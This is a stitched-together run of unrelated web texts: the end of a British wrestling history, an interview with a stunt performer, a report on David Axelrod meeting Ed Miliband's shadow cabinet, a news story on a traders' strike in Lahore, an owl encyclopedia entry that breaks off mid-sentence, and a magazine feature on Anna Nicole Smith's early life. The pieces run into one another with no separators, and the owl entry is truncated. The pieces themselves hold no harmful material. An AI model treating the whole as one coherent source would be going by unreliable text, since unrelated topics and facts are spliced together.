For Joint Promotions, there was nothing left to do but tour every town and village to squeeze every last penny out of the remaining Big Daddy followers. But the trick could only work a couple of times at each venue and, despite relaunching as Ring Wrestling Stars and bringing over Davey Boy Smith, just six months after headlining Wembley Stadium, it was a losing battle. When Smith returned to World Championship Wrestling, he took with him the last hope of the Crabtree family.
For All Star Promotions, the end of television was like a shot of venom; it provided a short-term boost as fans went to live shows to get their wrestling fix, and the show to show storylines kept them coming back, but by the early to mid 90s, the group was down to a handful of regular venues. By 1995 promoter Brian Dixon was relying on sold shows on the holiday camp circuit to keep afloat, while turning down a chance to air on cable station L!ve TV because the station offered no fee for the shows.
Since that time, a return to television has been the Holy Grail for countless members of the British wrestling profession. In the early 90s a Jackie Pallo organised taping saw an £80,000 budget, 36 match show sell for just £15,000. Following the resurgence of interest in the American product, former WWF production crew member Dan Berlinka's UWA group persuaded L!ve TV to air their show for free during much of 1999 in return for covering production costs, but the promotion failed to translate the exposure into profitable live events.
A year later the Mondial Sports company's UCW promotion seemed the most serious attempt to get back to the big time, with wrestlers put under full-time salaried contracts, and two shows drawing impressive crowds without imported name talent. But the financial backers seemed to misunderstand the wrestling industry; with one eye on a national television contract they cancelled plans to run regular dates in 1,000 to 2000 seater venues, reasoning that the promotion would look small-time in negotiations. With full-time expenses and no source of income, the result was inevitable.
While the NWA affiliated Hammerlock promotion produced a series of local television shows with the assistance of their Nashville counterparts, the group soon returned to its original plan of running bare bones live shows to complement their successful training school.
And no mention of attempts to put British wrestling back in the big time would be complete without the debacle of WrestleXpress in which a 19 year old somehow sold 2000 tickets and negotiated a pay-per view deal for a launch show featuring everyone from Rob Van Dam to Eric Bischoff. The cynics were proved right when the show collapsed amid stories of champagne dinners and widespread money-mark abuse, leaving goodwill down the toilet and fans waiting up to a year for refunds.
The irony is that, as much as attempts to regain former glories may have fallen short, there have likely never been so many promoters working in British wrestling as there are in the early 21st century. All Star Promotions operates a simple policy of emphasising low costs rather than high revenues, combining a few regular venues with a couple of hundred touring dates each year with a curious mix of former American stars, British veterans, fresh faces and the ubiquitous 'UK Undertaker' and 'Big Red Machine'. Perhaps the most profitable promoters are the likes of Orig Williams (an independent promoter since 1973) and Shane Stevens, whose 'WWF Tribute' shows can draw crowds in the thousands, only bringing closer the inevitable trademark infringement cases. Long-time promoters such as John Freemantle (running Premier Promotions since 1987), Scott Conway (whose Wrestling Alliance groups dates back to 1989) and Ricky Knight (who formed WAW in 1993) continue with steady crowds in the low hundreds and the occasional success such as WAW's crowd of 2000 for its Fightmare show. And there is almost an alphabet soup of 'new school' promotions based around training schools, the most prominent being the Frontier Wrestling Alliance, which provided much of the talent for the nationally televised Revival show.
When considering the future of the wrestling industry, and British wrestling in particular, people often speak of the 'cyclical nature' of the business, with 'inevitable peaks and valleys'. Yet the history of professional wrestling in this country shows that every spell of success began and ended for a reason. The music hall era ended when promoters could no longer provide a product with the finely-tuned balance of legitimate grappling ability and showmanship. The 1930s craze for 'All in' wrestling went by the wayside when quality was sacrificed for quantity. The TV boom trailed off when a generation of wrestling masterminds gave way to a corporate world that didn't realise wrestling was a business like no other. And the fad of Big Daddy went the way of every promotional drive that replaces steady business with an attempt to hotshot to riches.
But for all the lessons wrestling history teaches us, the most important is that each boom was a product of its times. The world of 2002 is a vastly different place of that of 1982, let alone 1962. In this era of multi-channel broadcasting and home entertainment, even national television exposure gives no guarantee of a place in mainstream culture. The wrestling business in the United States no longer exists in Britain in the pages of magazines; the WWF is by far the dominant player in this country's wrestling industry. Computers can give a promoter of any size national exposure from the comfort of their bedroom, but the effectiveness of such publicity is still in question. And the biggest change of all is that for a generation of young fans, British wrestling as it was is now neither an idealised reminiscence nor an unshakeable stigma; for today's target audience, British wrestling is starting from nothing.
Whether today's promoters can translate the successes of the past to today's world without falling victim to previous mistakes will decide if the history of British wrestling is a tale ending in tragedy or a story with glories yet to be told.
Eugen Sandow
George Hackenschmidt
Charles B. Cochran
Ahmed Madrali
Stanislaus Zbyszko
Tom Cannon
Crystal Palace
Ivan Padoubney
Bert Assirati
wrestler Jack Pye
Royal Albert Hall
Kent Walton
Jackie Pallo
Mick McManus
Big Daddy
Mal "King Kong" Kirk
Giant Haystacks
Bert Royal and Vic Faulkner
George Kidd
promoter Jack Pye
Mike Marino
Bert Royal
Johnny Eagles
Masambula
Jim Breaks
Kendo Nagasaki
Henry Irslinger
young Jack Sherry
Athol Oakley
Bill Garnon
older Jack Sherry
Leicester Square, Early 20th century Alhambra Theatre on far right
(Empire Theatre is at top left)
Another early 20th century view of Alhambra Theatre Leicester Square
(The London Hippodrome is at top left)
Leicester Square, late 19th century Alhambra Theatre (right)
Empire Theatre (left)
Alhambra Theatre, Leicester Square
Early 1900s, site of the Hackenschmidt-Carkeek challenge
(now Leicester Square Odeon)
Joe D'Orazio
Images of Alhambra Theatre Leicester Square
The History of British Wrestling
All Rights Reserved
Copyright Duff Johnson 2004-2018
No text or image may be copied or
reproduced without written permission.I wasn’t hoping for luck to shine down; rather, just working hard, being prepared and ready so when something did inspire me I could grab it with both hands.
So Craig tell us about yourself…
My name is Craig Miller! I’m a 32 year old stunt performer from a small town called Greenock in Scotland’s West Coast.
I have been training a wide variety of martial arts relentlessly for almost 20 years now! It’s this passion for martial arts which took me across Asia training with the best. From Thailand’s top Muay Thai fighters at world renowned Fairtex, to the monks of the Shaolin monastery where I spent months living and training!
The journey took me to Hong Kong where I came across a stunt school called the Hithut. There I trained, qualified, and worked with such an amazing team. I have worked full time in the industry for over 6 years now.
My love of people and travel allowed me to network in Hong Kong where I met contacts from all over the world; and so, I travelled, working on some huge projects. I’ve worked in top American, British, Bollywood and of course local Hong Kong movies. I’ve also been in movies with world wide release such as ‘Dracula Untold’ and ‘Kingsman: The Secret Service.’
Was being a stunt man always something you aspired to be?
No, I never had a clue what to do with my life really. It was something I just happened across, which when I found out about it, I knew instantly this was for me. Previously, career wise, I had no idea! However, I knew I was passionate about martial arts and spent my whole time focused on that. I was also flexible and open to life and any opportunities that came my way and being out there in the world, just doing what I loved and living life my way. I wasn’t hoping for luck to shine down; rather, just working hard, being prepared and ready so when something did inspire me I could grab it with both hands.
I believe there is no such thing as luck. That is just a place where good preparation meets opportunity.
How did you manage to land your first job? Who you know or what you know?
A bit of both really. I believe there is no such thing as luck. That is just a place where good preparation meets opportunity. I was just training hard and took myself way out my comfort zone. I quit a good job that I had, travelled through Asia trying to learn, grow and expand to be the best I could be. Then, by luck, I came across some incredible people doing incredible things, things I knew I would love to do. After meeting and taking my opportunity, one thing led to another and after loads of hard work and sacrifice, here I am today!
What was that first job?
It was a local Hong Kong action movie in which the stunt team I was training with were in charge of the action. I played a drunk bar brawler and had fights with both leading actors. Of course I was the one who took the beating. Haha!
What’s the best part of being a stunt man?
For me, my passion is martial arts. Therefore having a career in which I get to utilise my passion; be creative and showcase that to the world, well that’s the best feeling ever.
On top of that, earning a living doing what I love most. I truly feel blessed and grateful everyday.
Also, of course it’s so much fun. I feel like I never have to grow up. I get to play soldiers, zombies, werewolves, good guys, bad guys, the lot. I run around fighting my friends; shooting guns, blowin’ shit up! That’s like every boy’s dream haha!
I get to play soldiers, zombies, werewolves, good guys, bad guys, the lot! I run around fighting my friends; shooting guns, blowin’ shit up! That’s like every boy’s dream haha!
What’s the funniest thing that has happened on set?
We always have such good fun on set. Pranking each other, joking and having a laugh. We can have very long hours so we have to have fun. However some fun times do stand out especially after a long night filming and spicy food for dinner.
We were shooting a scene where an SAS team was storming a building. We were hiding behind a corner where there’s nowhere to turn, and waiting for ‘action’ before the hard military team bust in and whoop ass. Well, one guy’s bowels got the better of him and after our spicy dinner those farts were foul!
Needless to say, after being stuck in that corner, Action was called and the team could not have stormed out of that room any faster to escape the stench!
There was also this one time where we were filming at night in an underground car park in London. Again, waiting on our cue to go. We were standing around in masks dressed as terrorist with full automatic weapons. Well, of course some poor passer-by thought something sinister was happening. Before we knew it, armed response unit arrived on the scene and things got real very fast. That certainly was an eventful evening!
We know you love being a stuntman but you’re dipping your toes in the water with acting now too aren’t you? What do you prefer?
Yes, over the last few years I have become more involved in the acting side of the game. I have done a few commercials etc. where I am the lead or the only talent that’s involved. I would love to do both for as long as I physically can, but stunts is my thing. Although sometimes it’s nice doing a job and not being a beaten mess after work haha.
For me every job is a blessing. I truly am grateful for it. However it’s such an incredible feeling that I can sit in the cinema either here in UK or Hong Kong and watch myself on the big screen and see the hard work paying off in the finished product.
Yes for sure! More so since I have travelled the world with it I would say I am more culturally aware than before. I meet so many incredible people along the way from all walks of life and shoot in some just breathtaking places. It does help you to grow as a person and appreciate everything that’s out there. I do try to always maintain the essence of me though, which are all about love, peace and inspiration. I’m forever grateful for these wonderful chances that come my way and the growing list of people who make it happen for me.Training for me is the most interesting part of it all. There are so many things I need to learn and absorb. There are so many disciplines that make up what I do and each job is different, so covering the spectrum as much as possible is essential. I have been training pretty much everyday for almost 20 years now. I rarely miss a day. Each day starts before 6 am and I train a minimum of 2, sometimes 3 sessions per day on different things. Each session can be anywhere from 1 hour to 3 hours!
What sort of Diet do you have/need? Are you regimented with it?
I do keep my diet very clean. I don’t follow any ‘diet’ in particular just keep eating as much real foods as possible. Health is essential for me because I don’t get sick pay and have to be available for jobs when they come up. Keeping a healthy clean diet (which keeps the abs ripping, added bonus) is a must! I stick to it meticulously, although, I do allow for a cheat day on Sundays.
What is the worst injury You’ve had?
Fortunately until now I have never had anything overly serious. Everyday we do fight scenes we are battered and bruised, we get sprains and twists etc., but that’s all part of the job. I trust the guys I work with fully with safety and we are all looking out for each other. I did a hospital run not too long ago when one of the guys landed on my leg during a fight and popped my knee. I struggled to walk for weeks but that’s the worst so far.
What’s been your proudest moment?
For me every job is a blessing. I truly am grateful for it. It’s such an incredible feeling to be able to sit in the cinema either here in UK or Hong Kong and watch myself on the big screen and see the hard work paying off in the finished product. Going to a red carpet grand opening for the movie ‘The White Storm’ in Hong Kong stands out. I was part of the action by playing a hired contract killer. Seeing it in the cinema with just all the cast and crew was a hugely proud moment.
We hear you might have some work with one of the biggest games producers in the world RockStar Games which is well known for the GTA franchise and many others. Is this true or just a rumour?
That is correct although I can’t say much. Motion capture is such a different and fun learning experience for me. I am having loads of fun adapting to this new challenge.
Check out Craig training in the video below, and look out for him on screen and *cough* on a famous video game soon!
[fbvideo link=”https://www.facebook.com/video.php?v=10203980184734565″ width=”500″ height=”400″ onlyvideo=”1″]Labour's star signing David Axelrod has been in Westminster this week for his first face-to-face meetings with Ed Miliband on the role he will play in the party's general election campaign. Claims that the former Obama strategist will give Miliband a "makeover" are, I'm told, wide of the mark. A Labour source said: "You don't hire David Axelrod to tell you what colour tie to wear."
Instead, his discussions with Labour have focused on strategy, polling and messaging. After a one-on-one meeting with Miliband yesterday, he met with other senior shadow cabinet members, including Harriet Harman, Ed Balls, Douglas Alexander, Michael Dugher, Sadiq Khan, Jon Cruddas and Yvette Cooper. He later had dinner with Miliband and his wife at their home accompanied by fellow Obama staffer Larry Grisolano.
After a meeting this morning with the full shadow cabinet, he held further talks on digital and field operations followed by a Q&A with Labour staff at Brewer's Green.
He told the party that victory for Ed Miliband in 2015 "would send a message around the world" and that was why he was "proud to have been asked" to do the job. He added: "There is a lot of alienation and anger among voters because of how the economy is working...We need to offer solutions."
Noting that he could earn far more working elsewhere, he said he was attracted to Miliband as a progressive radical who understood the need to break with "trickle-down economics" in order to restore the link between the growth of national economies and of family finances. "People are working harder and getting nowhere," he told the shadow cabinet.
The Democrats and Labour have "different visions" to their opponents, he emphasised, and, for this reason, 2015 would be a "big, important election". Axelrod, it is clear, would not be here if he did not believe Miliband could win it.Traders’ bodies supporting strike call will announce future plan on August 4
LAHORE: Traders across the city observed a shutters-down strike on Saturday against the imposition of a withholding tax on banking transactions of Rs50,000 and above for non-taxpayers.
There was no business activity in most major markets including Shah Alam, Akbari Mandi, Moti Bazaar, Rang Mahal, Badami Bagh, Abid Market, Bilal Ganj, Anarkali, Liberty, Township, Bund Road, Brandreth Road and Jail Road.
However, some businesses were reported open in Urdu Bazaar, Wapda Town and Defence Housing Authority and on Shalimar Link Road.
The strike call was given by the All-Pakistan Anjuman-i-Trajiran (Naeem Mir group). It was supported by Anjuman-i-Tajiran (Ashraf Bhati group), Qaumi Tajir Ittehad (Sheikh Mushtaq group), the Lahore Trader Alliance, the Lahore Tajir Group (Khwaja Amir), the Pakistan Small Traders and Cottage Industry, the Lahore Car Federation and the Qaumi Tajir Ittehad (Khalid Mehmood group).
All Pakistan Anjuman-i-Tajran (Khalid Pervaiz group) had opposed the call to start the strike from August 1. It had called a strike from August 5.
Talking to The Express Tribune, Naeem Mir said traders had set aside concerns about loss of business and decided to proceed with the strike. He said they rejected the withholding tax and appealed to the government to withdraw it. “The tax will promote undocumented economy. It will not help in broadening the tax net,” he said.
He warned the government not to take the strike lightly. “Our peaceful protest may turn violent if the government refuses to reconsider its policy on the matter,” he said.
He said his association was receiving suggestions on future plan of action from traders across the country. He said he would announce its plans on August 4.
Mir said its options included laying siege to the offices of the Federal Bureau of Revenue (FBR), suspending public transport across the country and blocking major inter-city roads for traffic. He said they could also continue the shutter-down strike for an indefinite period.
He said they had suggested the FBR to survey markets for undocumented businesses rather than imposing a tax on banking transactions. “We have assured them of our help with the surveys,” he said.
Another suggestion floated by the association was that traders report their wealth to the FBR. In return, they should not be asked to pay tax arrears, he added.
“We are not tax evaders. Use of coercive means [for tax collection] is unacceptable. We want to enter the tax net in a respectable manner,” he said.
He said the government should look into reform of the tax collection system.
Pakistan Small Traders and Cottage Industry president Babar Butt said the industry was already suffering because of the energy crisis. “The tax on banking transactions will make matters worse for us,” he said.
Published in The Express Tribune, August 2nd, 2015.
Read full storyThe great horned owl (Bubo virginianus), also known as the tiger owl (originally derived from early naturalists' description as the "winged tiger" or "tiger of the air") or the hoot owl,[2] is a large owl native to the Americas. It is an extremely adaptable bird with a vast range and is the most widely distributed true owl in the Americas.[3] Its primary diet is rabbits and hares, rats and mice, and voles, although it freely hunts any animal it can overtake, including rodents and other small mammals, larger mid-sized mammals, birds, reptiles, amphibians, and invertebrates. In ornithological study, the great horned owl is often compared to the Eurasian eagle-owl (Bubo bubo), a closely related species, which despite the latter's notably larger size, occupies the same ecological niche in Eurasia, and the red-tailed hawk (Buteo jamaicensis), with which it often shares similar habitat, prey, and nesting habits by day, thus is something of a diurnal ecological equivalent.[4] The great horned owl is one of the earliest nesting birds in North America, often laying eggs weeks or even months before other raptorial birds.[5]
Description [ edit ]
The great horned owl is generally colored for camouflage.[5] The underparts of the species are usually light with some brown horizontal barring; the upper parts and upper wings are generally a mottled brown usually bearing heavy, complex, darker markings. All subspecies are darkly barred to some extent along the sides, as well.
Owl showing much of its camouflage pattern/color
A variable-sized white patch is seen on the throat. The white throat may continue as a streak running down the middle of the breast even when the birds are not displaying, which in particularly pale individuals can widen at the belly into a large white area. South American horned owls typically have a smaller white throat patch, often unseen unless actively displaying, and rarely display the white area on the chest.[4] Individual and regional variations in overall color occur, with birds from the subarctic showing a washed-out, light-buff color, while those from the Pacific Coast of North America, Central America, and much of South America can be a dark brownish color overlaid with blackish blotching. The skin of the feet and legs, though almost entirely obscured by feathers, is black. Even tropical great horned owls have feathered legs and feet. The feathers on the feet of the great horned owl are the second-longest known in any owl (after the snowy owl).[4] The bill is dark gunmetal-gray, as are the talons.[6]
All great horned owls have a facial disc. This can be reddish, brown, or gray in color (depending on geographical and racial variation) and is demarked by a dark rim culminating in bold, blackish side brackets.[7] This species' "horns" are tufts of feathers, called plumicorns. The purpose of plumicorns is not fully understood, but the theory that they serve as a visual cue in territorial and sociosexual interactions with other owls is generally accepted.[4]
Physiology and measurements [ edit ]
The eyes of great horned owls are among the largest of terrestrial vertebrates.
The great horned owl is the heaviest extant owl in Central and South America and is the second-heaviest owl in North America, after the closely related, but very different-looking snowy owl.[5][6] It is heavily built, with a barrel-shaped body, a large head, and broad wings.[6] Its size can vary considerably across its range, with interior Alaska and Ontario populations being largest and populations in California and Texas being smallest, though those from the Yucatán Peninsula and Baja California appear to be even smaller.[8][9] Adult great horned owls range in length from 43 to 64 cm (17 to 25 in), with an average of 55 cm (22 in), and possess a wingspan of 91 to 153 cm (3 ft 0 in to 5 ft 0 in), with an average of 122 cm (48 in). Females are somewhat larger than males.[10][11] Mean body weight is 1,608 g (3.545 lb) for females and 1,224 g (2.698 lb) for males.[12][13] Depending on subspecies, maximum weight can reach 2,503 g (5.518 lb).[14]
Great horned Owl wings
The wing chord length is 297–400 mm (11.7–15.7 in).[15] The wing loading, the measured wing area compared to weight, is high, meaning the wings are relatively small in surface area for the bird's weight; the species' wing loading has been described as proportionately the highest among raptors.[7][16] The tail, being relatively short as is typical of most owls, is 175 to 252 mm (6.9 to 9.9 in) long.
Great horned owl (Canada)
The legs, feet, and talons are large and powerful. Tarsal length is 54–80 mm (2.1–3.1 in).[6] The average foot span of a fully spread foot, from talon to talon, is around 20 cm (7.9 in), as compared to 8 cm (3.1 in) in long-eared owls, 13 to 15 cm (5.1 to 5.9 in) in barn owls, and 18 cm (7.1 in) in the great grey owl.[4][17] Great horned owls can apply at least 300 lb/in2 of crushing power in their talons, a pressure considerably greater than the human hand is capable of exerting. In some big females, the gripping power of the great horned owl may be comparable to much larger raptor species such as the golden eagle.[18]
The hard, inflexible bill of the great horned owl is 3.3–5.2 cm (1.3–2.0 in) long, although the culmen, the exposed bill portion as measured along the top of the beak, is only 2.1 to 3.3 cm (0.83 to 1.30 in).[19]
The outer ear openings, which are concealed by feathers on the sides of the head, are relatively smaller than those of the Eurasian eagle owl, being 2.3 cm (0.91 in) in vertical axis, with the left ear slightly larger than the right.[20]
The great horned owl's eyes, just slightly smaller than the eyes of a human being, are large even for an owl and rank proportionately among the largest eyes of all terrestrial vertebrates.[21] They are visually highly adapted for nocturnal hunting and provide a wide, almost completely binocular field of view, a large corneal surface and a predominantly rod retina.[22] Instead of turning its eyes, an owl must turn its whole head, and the great horned owl is capable rotating its neck 270°. The iris is yellow, except in the amber-eyed South American great horned owl (B. v. nacurutu).
Calls [ edit ]
The great horned owl's song is normally a low-pitched but loud ho-ho-hoo hoo hoo (or also transcribed as bu-bubu booh, who-hoo-ho-oo or who-ho-o-o, whoo-hoo-o-o, whoo) and can last for four or five syllables.[10] One transliteration is You still up? Me too.[23] The call is resonant and has warranted descriptions as varied as "solemn" and "terrifying".[4][5] The female's call is higher and rises in pitch at the end of the call. Female vocalizations are higher in pitch because of a smaller syrinx in the larger sex.[24] Calling seems to peak after rather than before midnight.[25][26] Usually, territorial hooting decreases in February or March at the onset of egg laying.[27] On occasion, this species exhibits "an indescribable assemblage of hoots, chuckles, screeches, and squawks, given so rapidly and disconnectedly that the effect is both startling and amusing".[28] Descriptions of some of these odd sounds including a growling krrooo-ooo note pair, a laughing Whar, whah, wha-a-a-a-ah, a high-pitched ank, ank, ank; a weak, soft erk, erk, a cat-like meee-owwwwww, a hawk-like note of ke-yah, ke-yah, and a nighthawk-like peent. These vocalizations may be variously uttered when the birds are disturbed and angered at the nest (frequently preceding an attack on an interloping human or other animal), represent the vocal development of young owls, or are given during courtship and during territorial disputes with other owls.[5][10][29] Young owls still in the care of their parents make loud, persistent hissing or loud, piercing screeching sounds that are often confused with the calls of the barn owl.[6]
Species identification [ edit ]
Illustrated comparison of a great horned owl, left, to its closest North American relative, the snowy owl
The combination of the species' bulk, prominent ear tufts and barred plumage distinguishes it through much of the range, but it may be easily confused with the lesser or Magellanic horned owl (B. magellanicus), which may overlap in range.[6] The Magellanic horned owl was once considered a subspecies of the great horned, but is now almost universally considered a distinct species, as is supported by genetic materials, with the great horned being the paraspecies.[6][7] Overall coloration is similar, but the Magellanic is markedly smaller with smaller feet and a smaller head, with finer, but more numerous brownish bars on the underside, rather than the blotchy, irregular barring typical of great horned owls.[6] Other eagle |
Hollywood High School, going to a soda fountain, and being “discovered” as Lana — “discovered” being the operative word. For the Hollywood origin stories we know to be satisfying, the heroine in question must have no idea she is worthy of such attention until she is suddenly rescued from obscurity. Especially if she is to be remade as America’s next great sex symbol — as Anna Nicole Smith was in 1993, when she suddenly saturated American media, appearing on magazine covers, billboards, and screens of all kinds, and found herself touted as her decade’s Marilyn Monroe. If the heroine's allure is the product of not just blind luck but sustained effort and intent — let alone strategic surgical alteration and courtship of wealthy benefactors, as Anna Nicole Smith’s was — then she is too powerful to remain sympathetic, and becomes an object of jealousy, rather than aspiration. It’s one thing to be chosen as a goddess; it’s quite another to claw your way to the top of Mount Olympus. And when the public finds out a goddess is in fact a striving mortal, this revelation will push her into a very different kind of myth: one whose satisfying conclusion comes not when a woman is exalted, but when she is destroyed.
REX / Shutterstock Anna Nicole Smith at the Airheads film premiere in New York, 1994.
From 1992, when she made her first appearance in Playboy, to her death on Feb. 8, 2007, Anna Nicole Smith occupied the story of the beautiful girl lifted up from the dust, and then the story of the beautiful woman destroyed, and sometimes both. “From the moment Anna Nicole got famous,” reporter Mimi Swartz later wrote in Texas Monthly, “she told the world that her role model was Marilyn Monroe. It was a shrewd move, as it linked her image with one of the greatest American icons of all time, and it had a neat logic: one platinum-haired sex symbol taking after another, one poor, deprived child latching onto the success of another.” Anna Nicole Smith first rose to celebrity as a dirt-poor single mother from Mexia, Texas, who went from rags to riches after being discovered by Playboy when she went to an open call for models at a boyfriend’s urging. (“She was the most beautiful girl I had ever seen without makeup,” the magazine’s photography editor, Marilyn Grabowski, who had been casting the magazine’s centerfolds since 1964, said at the time. “Sharon Stone is a close second.”) Then, just as suddenly, her 1994 wedding at the age of 26 to 89-year-old Houston oil tycoon J. Howard Marshall made her a national punchline. A year later, he would be dead, and Anna would eventually find herself in a Supreme Court legal battle with his children for her inheritance, spearheaded by his son Pierce. By the time the case had finally been conclusively adjudicated in 2011, Pierce Marshall was dead, Anna Nicole Smith was dead, and whatever power she had once held, real or imagined, was gone with her. Her infiltration of the American consciousness had come in two distinct waves: first with her rise as the Marilyn Monroe of the 1990s, and then with her presence as a reliable staple of the early-2000s reality TV–fueled celebrity shame machine.
Playboy, New York Magazine
But before she became infamous for being a gold digger or a cable news fixture or an emblem of the “galloping sleaze” of “white-trash behavior” that Tad Friend warned readers about in a New York magazine cover story that featured her as its mascot, Anna Nicole Smith was a star. America had fallen in love with her — that love which is the particular species of cultural obsession our country reserves for buxom white blondes — but it was a love she could not sustain if she revealed herself to be any more complex than her centerfold image. It was a love that could not diminish, only reverse, and now it had transformed into derision and hatred. Yet no matter how hard Americans tried to regard Anna Nicole Smith with apathetic dismissal, they couldn’t hide their fascination — and still can’t. Why? Was she just another model, another B-lister, another early casualty of reality TV? Or did she show us something about ourselves, about our country, that frightened us more deeply than we could ever admit? “Anna Nicole Smith” was a fantasy. She made herself into one, and America accepted her in fantasy form. Yet even when her humanity — and her weakness — was visible for all to see, and the hard realities around which she had constructed this fantasy version of herself became extraordinarily painful, we remained determined to see her as unstoppably seductive, manipulative, glamorous, and unforgivably larger than life.
Playboy / Via youtube.com Anna Nicole in front of a Mexia High School sign in her Playboy Video Centerfold.
In the first minutes of Playboy’s 1993 Video Centerfold, a 35-minute compilation of Anna Nicole Smith telling the viewer about her life and posing in a series of softcore scenarios (taking a bubble bath, rolling around in satin sheets, eating a slice of cherry pie in a roadside diner), residents of Anna’s hometown of Mexia, Texas, share their reminiscences of the girl they had once known as Vickie Lynn Hogan.
“She was a homely child,” one local says. “She was very shy, growin’ up,” says a snaggletoothed man leaning on a wooden fence. “She used to be built like a boy,” a woman adds. “I wasn’t very popular in high school,” Anna admits on the video as she arches her back against the sign for Mexia High. “I was flat-chested,” she says. “But now I have curves. See? Ooh la la!”
In the 1990s, Mexia had only one famous industry, and it was Anna Nicole Smith.
Anna Nicole Smith flaunts her brand-new curves on the dusty streets of Mexia, her famous double-D breasts straining against the floral and denim of her down-home drag. In the 1990s, Mexia had only one famous industry, and it was Anna Nicole Smith. She was, the professionals who worked with her said, brilliantly and naturally gifted at the art of seducing through a lens. “She is one of the most awesome people in front of the camera I’ve ever seen,” one photographer said at the time. “She gets into a sexual trance.” She was, Skip Hollandsworth wrote in a 1993 Texas Monthly article, “a magnificent Amazonian creature,” capable of “giving the camera the kind of deep, smoldering look that suggests she can handle any kind of trouble that comes her way.” The question people spent less time wondering about, during her initial rise to fame, was just how much trouble had come her way in her short life, and whether she was as capable of handling it as she seemed. But maybe the real question was not what happened to Anna Nicole Smith, but what happened to Vickie Lynn Hogan. “People always ask me about my childhood,” Anna told the camera in one episode of her 2002 E! reality TV series, The Anna Nicole Show. “Well, I didn’t have a childhood, so I’m livin’ my childhood now.” “Lord, if you could have known how poor that girl was,” her aunt, Kay Beall, told Hollandsworth. “I used to slip her some of my food-stamp money just so she could buy herself some candy.” According to Hollandsworth, Vickie Lynn lived in a house so cold that she had to wear flannel pajamas under her clothes to stay warm in the winter, and stole toilet paper from a nearby restaurant because her family couldn’t afford any.
Jessica Rinaldi / Reuters Anna Nicole's 1985 Mexia High School yearbook photo.
Vickie Lynn began living with her aunt Kay when she was 15, not long before she was expelled from Mexia High for fighting. “You want to hear my child life?” Anna once told an interviewer who pressed her to talk about her years as Vickie Lynn. “You want to hear all the things [my mother] did to me? All the things she let my [stepfather] do to me, or let my brother do to me or my sister? All the beatings and the whippings and rape? That’s my mother.” Coltish, glancing-eyed, and nearly 6 feet tall in bare feet, Vickie Lynn looks, in photos from her Mexia years, like she might just as easily have gone in the direction of a high-fashion model. But the high-fashion look didn’t count for much in Mexia, or even in Dallas or Houston, and Vickie Lynn needed a body that would help her survive the world she lived in, and maybe even escape it. By 17, Vickie Lynn was a married woman. By 18, she was a single mother. After alleging that her husband, Billy Wayne Smith, had abused her, she took their 3-month-old son, Daniel, and left Mexia for good. Something happens when you make the two-hour trip from Mexia to Houston. Dry Texas farmland gives way to the pink skies and sudden downpours of the Gulf. Though inescapably connected with a commodity drawn up from deep in the ground, Houston belongs to the ocean. It’s a port city, and like all port cities, it is a place of transformation: a place where the skyline can change seemingly overnight, where fortunes can be won and lost in an instant, and where the people who kept you down all your life can’t keep you down anymore, because you can become whatever you say you are — or at least whatever the city will pay you to be. In Houston, Vickie Lynn got the kinds of jobs she could get, at Walmart and Red Lobster, and struggled to pay the bills. But she had ideas. Vickie Lynn — who was now living under her married name, Smith — was a Texan, and Texans understand the nature of boomtowns. Houston, which had once been the oil capital of America, was in the grips of a crippling oil-industry recession by the time Vickie Lynn came to town in 1986. But Houston had another world-famous commodity: the breast. The silicone breast implant was invented in 1961 by two Baylor University surgeons, and by the 1980s it was almost as synonymous with Texas-sized dreams and desires as the lasso was. Houston was the implant capital of America, and, by the early ’90s, the implant-related lawsuit capital of the world, as women sued manufacturers for — and often won — blowout settlements that ranged into the tens of millions, alleging that their implants had caused them to suffer everything from lupus to scleroderma to chronic fatigue.
For every woman desperate to get her breast implants removed, there were still others saving their money to buy
a pair.
Yet for every woman desperate to get her breast implants removed, there were still others saving their money to buy a pair. One of these women was Vickie Lynn, who had recently taken her first job dancing, at the Executive Suite, a strip club near Houston Intercontinental Airport. She was scarred with stretch marks, flat-chested, and taller and sturdier than the waifish dancers Houston businessmen seemed to favor — both too big and too small for the business of seduction. Yet there was something about the girl who was now performing as “Nikki” and “Robin.” She struck people as genuine — a little rough around the edges, but open. Real. “She definitely stood out among the girls,” Terry Allen, who managed the Executive Suite, said of Vickie Lynn, who was just 19 when she auditioned at his club for her first job. “She didn’t have the hard look.” After years of surviving on minimum wage, Vickie Lynn was finally making enough money — $50 to $200 a night — to start putting some aside for her future. So she did: She began saving up for a pair of breast implants. At Rick’s, the legendary Houston strip club that some claimed had singlehandedly popularized the silicone implant, a dancer could earn as much as $600 a day — an unimaginable amount of money compared with the $60 a week Vickie Lynn had been making at Walmart. All she needed to get in the door was the right body, and so she saved up for one, often popping a Valium or a Xanax on the nights when she wanted to disappear from herself before stepping out onstage. It took multiple surgeries to create Anna Nicole Smith. Each of her implants contained 700 milliliters of fluid, and one of them would rupture within a few years, requiring reconstructive surgery. It was after this metamorphosis that Anna turned to prescription painkillers, to manage the lasting discomfort that both the surgery and the weight of the implants themselves caused her. But she finally had her body. That was the way she always described it: as if, prior to that moment, she had no body at all, and she had not even really existed.
J. Berliner /BEI / Shutterstock Anna and Hugh Hefner at the 1993 Playboy Playmate of the Year Party in Beverly Hills.
“I can just relate to her,” Anna said of Marilyn Monroe. “Especially after I got my body — then I really could relate to her.” She seemed to be following in Marilyn’s footsteps less by recreating her famous body than by realizing that a body could be created: that your physical self could be both the tool that rescued you from the world you knew and the shield that protected you from it. It was in Houston where Anna Nicole Smith bought her new body, and it was in Houston where she met J. Howard Marshall, the tycoon who would soon offer her both his money and his name. She was dancing at Rick’s, and she met him not because she had successfully completed her transformation from Vickie Lynn to Anna Nicole, but because she still didn’t quite belong. “I was aware of Anna Nicole Smith,” Robert Watters, the president of Rick’s, said of Anna’s time there, after her wedding to J. Howard Marshall made their meeting place even more of a Houston landmark. “But she only really stood out,” Watters said, “because I had to comment on her weight to the management, make sure she worked on daytime rather than nighttime. We have standards.” J. Howard Marshall, who was too frail to leave the house at night, came into Rick’s one afternoon in 1988, and Anna found her gusher. “I was on stage,” Anna Nicole Smith wrote in the bride’s book at her wedding, describing their first meeting at Rick’s in 1988. “He was in the audience, and he was lonely and I started talking to him and we just started being friends.”
Mitchell Gerber / Getty Images Anna Nicole and Marshall, 1994
